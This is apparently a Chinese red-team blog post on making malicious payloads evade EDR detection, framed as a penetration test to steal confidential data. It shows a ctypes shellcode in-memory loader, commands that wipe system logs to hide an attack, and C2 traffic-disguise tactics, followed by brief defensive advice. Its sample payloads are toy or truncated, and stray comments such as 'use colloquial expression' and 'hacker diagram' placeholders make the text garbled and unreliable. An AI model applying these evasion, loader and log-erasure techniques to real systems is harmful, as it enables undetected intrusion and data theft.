0x01 真实渗透案例回顾

在一次企业网络的渗透测试中,我们的团队接到了一个艰巨的任务:突破对方严密的防御体系并从中取出机密数据。目标企业采用了先进的EDR(Endpoint Detection and Response)系统,对网络中的恶意活动进行实时检测和响应。为了能够绕过这些侦测机制,我们决定构造一个能够逃避检测的恶意载荷,以潜入企业的核心网络。本文将以此为背景,深入探讨恶意载荷免杀的技巧。

0x02 环境搭建与准备

在开始动手之前,我们需要搭建一个类似目标企业网络的测试环境。这一过程不仅能帮助我们在不惊动目标的情况下进行反复测试,还能确保我们的载荷在真实攻击中具备足够的隐蔽性。

实验环境

  • 操作系统:Windows 10
  • EDR软件:某知名EDR系统的测试版
  • 开发工具:Python、Bash
  • 网络架构:模拟内部网络结构,包含域控制器、文件服务器及若干工作站。

环境搭建步骤

  1. 安装EDR软件
  2. 我们选择了一款市面上较为流行的EDR解决方案,并将其安装在测试环境中所有设备上,以模拟目标企业的安全防护。

  1. 配置服务器和域
  2. 利用虚拟机搭建域控制器,配置文件服务器和多个工作站,以逼真模拟企业内部网络。

  1. 工具准备
  2. 安装Python和Bash,并准备好Cobalt Strike、Metasploit等常用渗透测试工具。确保所有工具在环境中正常运行。

0x03 Payload构造的艺术

构造一个能够逃避检测的恶意载荷是任何红队行动的核心任务。在这一部分,我们将介绍如何以Python和Bash为基础,创建一个有效的免杀载荷。

Python载荷开发

我们选择Python是因为它的灵活性和强大的库支持,能够快速实现复杂功能。以下是载荷的核心代码:

<pre><code class="language-python">import os import ctypes

def execute_payload():

用口语化表达:先来获取系统的某个敏感信息

sensitive_data = os.getenv(&#039;SYSTEM_DATA&#039;)

用口语化表达:偷偷执行我们想要的操作

try: ctypes.windll.kernel32.Beep(1000, 1000) except Exception as e: print(f&quot;出错了:{e}&quot;)

if __name__ == &quot;__main__&quot;: execute_payload()</code></pre>

Bash脚本免杀技巧

Bash脚本通常用于在Unix系统上执行任务,但同样可以在Windows上运行,通过Cygwin或WSL实现。以下是一个简单的免杀Bash脚本:

<pre><code class="language-bash">#!/bin/bash

用口语化表达:找到我们需要的文件

target_file=&quot;/path/to/target/file&quot;

用口语化表达:悄悄移动文件到安全的地方

mv &quot;$target_file&quot; &quot;/path/to/safe/location&quot;

用口语化表达:通知我们操作成功

echo &quot;文件已转移完毕&quot;</code></pre>

这些代码示例展示了如何构建基本的恶意载荷,我们接下来会重点探讨如何对其进行免杀处理。

0x04 绕过EDR的免杀技巧

为了确保我们的载荷能够在目标环境中顺利执行,我们需要对其进行深入的免杀处理。以下是一些实战经验分享。

加壳与混淆

加壳技术是一种经典的免杀手段,可以将原始的恶意载荷打包成一个可执行文件,并在执行前进行解密。我们使用Python的PyInstaller工具,将上面的载荷打包成一个.exe文件,并使用混淆器对代码进行混淆。

内存加载技术

内存加载技巧可以有效避免杀软对硬盘文件的扫描。利用Python的ctypes库,我们可以将恶意代码加载到内存中执行:

<pre><code class="language-python">import ctypes

用口语化表达:加载我们的代码到内存

shellcode = b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5...&quot;

黑客示意图

用口语化表达:偷偷运行起来

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ctypes.windll.kernel32.GetCurrentThread(), -1)</code></pre>

EDR绕过策略

为了绕过EDR,我们可以采取以下策略:

  1. 流量伪装:通过使用HTTPS或其他加密协议,伪装C2通信流量,使其看起来像正常的网络活动。
  1. 行为模拟:将载荷的部分行为模拟成常见的系统活动,例如文件读取、网络查询等,降低被检测的风险。
  1. 时间驱动:在特定时间或事件触发时执行载荷,避免常规扫描周期的检测。

0x05 痕迹清除与检测规避

任何成功的攻击都需要在最后一步进行痕迹清除,以确保行动不被发现。以下是几种常见的痕迹清除技术。

文件删除与日志清除

  1. 删除临时文件:攻击结束后,要确保所有临时文件都被彻底删除。例如:

`bash rm -f /tmp/attack.log `

  1. 清除日志记录:从系统日志中删除攻击活动记录:

黑客示意图

`bash echo "" > /var/log/syslog `

内存清理

使用类似于Python的垃圾回收机制清理内存中的残留数据,有助于减少被发现的可能性。

0x06 个人经验分享与防御建议

黑客示意图

在多年红队行动的过程中,我总结出一些有效的实战经验和防御建议:

实战经验

  • 保持隐蔽:始终使用最新的免杀技术,持续更新攻击工具。
  • 不断测试:在模拟环境中反复测试载荷,确保其在真实环境中成功执行。
  • 灵活应变:根据目标环境的不同,灵活调整载荷的行为和执行时机。

防御建议

  • 多层检测:结合EDR、网络流量分析等多种技术,提高检测能力。
  • 行为监控:重点关注异常行为而非单一签名,提高响应速度。
  • 定期更新:持续更新安全软件和规则库,确保最新攻击手段能够被及时识别。

以上是对恶意载荷免杀技巧的全面解析,仅供专业安全研究人员在授权情况下使用。希望本文能够帮助您深入理解并应用相关技术,提升渗透测试的隐蔽性。